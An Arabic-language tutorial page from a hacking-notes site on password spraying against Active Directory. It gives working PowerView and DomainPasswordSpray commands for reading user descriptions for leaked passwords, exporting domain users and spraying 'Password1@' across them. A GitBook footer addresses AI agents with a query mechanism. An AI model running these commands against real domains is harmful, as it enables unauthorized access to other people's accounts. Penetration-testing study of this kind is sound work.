> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ar/active-directory/acl-security-descriptors-and-permissions/password-spraying.md).

# رشّ كلمات المرور

#### 1. المبدأ

يتكون هجوم رشّ كلمات المرور من اختبار كلمة المرور نفسها على عدة حسابات مستخدمين.

على عكس هجوم القوة الغاشمة التقليدي، الذي يختبر العديد من كلمات المرور على مستخدم واحد، فإن رشّ كلمات المرور يختبر عادةً عدداً قليلاً من كلمات المرور على العديد من المستخدمين.

تُستخدم هذه التقنية لتحديد الحسابات التي تشترك في كلمة المرور نفسها.

#### 2. الانتباه في بيئة حقيقية

في بيئة حقيقية، يجب استخدام هذه التقنية بحذر شديد.

قد تؤدي محاولات المصادقة المتكررة إلى:

* قفل الحساب;
* تنبيهات أمنية;
* اكتشافها من قبل فريق EDR أو SIEM أو SOC;
* تأثير تشغيلي على المستخدمين.

#### 3. عرض أوصاف المستخدمين

قبل إطلاق رشّ كلمات المرور، قد يكون من المفيد الاطلاع على أوصاف حسابات المستخدمين.

قد تحتوي بعض الأوصاف على معلومات حساسة، وأحياناً حتى كلمات مرور تُركت عن طريق الخطأ.

أمر PowerView:

{% code overflow="wrap" %}

```powershell
Get-NetUser | select name,description
```

{% endcode %}

<figure><img src="/files/248070f1afa5cd1db7e98c758c5f58335ca7dd21" alt=""><figcaption></figcaption></figure>

#### 4. تحميل DomainPasswordSpray

{% embed url="<https://github.com/dafthack/DomainPasswordSpray/blob/master/DomainPasswordSpray.ps1>" %}

{% code overflow="wrap" %}

```powershell
. ./DomainPasswordSpray.ps1
```

{% endcode %}

#### 5. إنشاء قائمة بالمستخدمين

نستخرج قائمة مستخدمي المجال إلى ملف نصي:

{% code overflow="wrap" %}

```powershell
Get-NetUser | Select-Object -ExpandProperty name | Out-File C:/Users/user1/Desktop/users.txt
```

{% endcode %}

#### 6. إطلاق رشّ كلمات المرور

ثم نطلق رشّ كلمات المرور باستخدام كلمة المرور المختارة:

{% code overflow="wrap" %}

```powershell
Invoke-DomainPasswordSpray -UserList ./users.txt -Password "Password1@" -Verbose
```

{% endcode %}

<figure><img src="/files/cd0a4b98c69b3020575c7ec5747a6045e310ee33" alt=""><figcaption></figcaption></figure>

هذا الأمر يختبر كلمة المرور `Password1@` على المستخدمين الموجودين في `users.txt` الملف.

إذا كانت بعض الحسابات تستخدم هذه كلمة المرور، فستظهرها الأداة كعمليات مصادقة ناجحة.


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/ar/active-directory/acl-security-descriptors-and-permissions/password-spraying.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
